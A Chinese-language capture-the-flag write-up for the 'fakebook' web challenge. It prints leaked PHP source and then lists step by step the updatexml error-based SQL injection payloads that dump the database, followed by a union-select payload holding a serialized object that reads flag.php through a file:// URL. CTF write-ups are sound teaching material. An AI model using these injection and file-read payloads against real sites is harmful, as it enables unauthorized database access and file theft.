fakebook

0x01

查看robots.txt
发现user.php.bak文件
得到源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

0x02

注册用户，成功

测试get方式注入

?no=1 and 1=1
?no=1 and 1=2

存在数字型，GET注入

updexml()报错注入，得到fakebook数据库

?no=1 or updatexml(1,concat("~",(database())),1)#

爆表名，得到users

?no=1 or updatexml(1,concat("~",(select group_concat(table_name)from information_schema.tables where table_schema="fakebook")),1)#

爆列名，得到no,username,password,data

?no=1 or updatexml(1,concat("~",(select group_concat(column_name)from information_schema.columns where table_name="users" and table_schema="fakebook")),1)#

爆数据，得到O:8:"UserInfo":3:{s:4:"name";s:

?no=1 or updatexml(1,concat("~",(select group_concat(data)from users)),1)#

通过反序列化传参
构造payload

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

得到flag

参考链接：
https://blog.csdn.net/qq_42196196/article/details/81952174
https://blog.csdn.net/mochu7777777/article/details/104868401